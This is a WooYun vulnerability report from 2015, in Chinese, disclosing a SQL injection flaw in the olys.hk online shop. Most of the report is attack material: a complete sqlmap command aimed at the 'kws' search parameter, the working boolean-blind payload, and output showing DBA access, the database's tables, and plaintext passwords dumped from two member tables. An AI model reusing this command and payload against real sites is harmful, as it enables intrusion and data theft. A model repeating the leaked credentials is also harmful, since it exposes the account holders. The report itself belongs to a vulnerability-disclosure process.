当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0158110

漏洞标题：olys.hk主站存在SQL注射漏洞（DBA权限+用户明文密码）（香港地區）

相关厂商：olys.hk

漏洞作者： 路人甲

提交时间：2015-12-04 17:36

修复时间：2016-01-21 18:22

公开时间：2016-01-21 18:22

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(hkcert香港互联网应急协调中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-04： 细节已通知厂商并且等待厂商处理中
2015-12-09： 厂商已经确认，细节仅向厂商公开
2015-12-19： 细节向核心白帽子及相关领域专家公开
2015-12-29： 细节向普通白帽子公开
2016-01-08： 细节向实习白帽子公开
2016-01-21： 细节向公众公开

简要描述：

Oly's 為你準備各種各樣的生活,美容面膜,護膚產品去支援你變得更美更動人。

详细说明：

地址：http://**.**.**.**/shopping/

$ python sqlmap.py -u "http://**.**.**.**/shopping/" -p kws --technique=B --output-dir=output --form --random-agent --batch --no-cast --current-user --is-dba --users --passwords --count --search -C pass


current user:    'olys_db@localhost'
current user is DBA:    True
database management system users [1]:
[*] 'olys_db'@'localhost'


Database: olys_db
Table: ALBUM_MEMBER_HITOMI
[3 entries]
+----------+
| PASSWORD |
+----------+
| 143734kc |
| cute1437 |
| winsome  |
+----------+
Database: olys_db
Table: ALBUM_MEMBER_WEDDING
[3 entries]
+----------+
| PASSWORD |
+----------+
| cute1437 |
| pass     |
| winsome  |
+----------+

漏洞证明：

---
Parameter: kws (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: kws=-3833') OR 3004=3004#&search.x=1&search.y=1
---
web application technology: Apache 2.2.29, PHP 5.4.40
back-end DBMS: MySQL 5
current user:    'olys_db@localhost'
current user is DBA:    True
database management system users [1]:
[*] 'olys_db'@'localhost'
Database: olys_db
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| PURCHASE_ITEM_DATA                    | 3951    |
| PURCHASE_LST                          | 1024    |
| H1A_MEMBER_NEW                        | 965     |
| CUSTOMER_LST                          | 661     |
| S_PRODUCT_LST                         | 198     |
| ALBUM_LST_WEDDING                     | 132     |
| ALBUM_LST_HITOMI                      | 44      |
| CATEGORY_MST                          | 31      |
| SIZE_MASTER                           | 18      |
| N3_4WHATSNEW                          | 16      |
| S1_PRODUCT_S_LST                      | 8       |
| ALBUM_CATEGORY_MST_WEDDING            | 6       |
| ALBUM_MEMBER_HITOMI                   | 3       |
| ALBUM_MEMBER_WEDDING                  | 3       |
| MAIN_CATEGORY_MST                     | 3       |
| S1_PRODUCT_Q_LST                      | 3       |
| ALBUM_CATEGORY_MST_HITOMI             | 2       |
| APP_ID_PASS                           | 2       |
| APP_INIT_DATA                         | 1       |
+---------------------------------------+---------+
Database: information_schema
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| COLUMNS                               | 848     |
| SESSION_VARIABLES                     | 331     |
| GLOBAL_VARIABLES                      | 319     |
| GLOBAL_STATUS                         | 317     |
| SESSION_STATUS                        | 317     |
| COLLATION_CHARACTER_SET_APPLICABILITY | 197     |
| COLLATIONS                            | 197     |
| PARTITIONS                            | 68      |
| TABLES                                | 68      |
| CHARACTER_SETS                        | 39      |
| KEY_COLUMN_USAGE                      | 23      |
| PLUGINS                               | 23      |
| STATISTICS                            | 23      |
| TABLE_CONSTRAINTS                     | 23      |
| SCHEMA_PRIVILEGES                     | 18      |
| ENGINES                               | 9       |
| SCHEMATA                              | 2       |
| PROCESSLIST                           | 1       |
| USER_PRIVILEGES                       | 1       |
+---------------------------------------+---------+
columns LIKE 'pass' were found in the following databases:
Database: olys_db
Table: ALBUM_MEMBER_HITOMI
[1 column]
+----------+
| Column   |
+----------+
| PASSWORD |
+----------+
Database: olys_db
Table: ALBUM_MEMBER_WEDDING
[1 column]
+----------+
| Column   |
+----------+
| PASSWORD |
+----------+
Database: olys_db
Table: ALBUM_MEMBER_HITOMI
[3 entries]
+----------+
| PASSWORD |
+----------+
| 143734kc |
| cute1437 |
| winsome  |
+----------+
Database: olys_db
Table: ALBUM_MEMBER_WEDDING
[3 entries]
+----------+
| PASSWORD |
+----------+
| cute1437 |
| pass     |
| winsome  |
+----------+

修复方案：

上WAF。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：13

确认时间：2015-12-09 14:36

厂商回复：

Referred to related parties.

最新状态：

暂无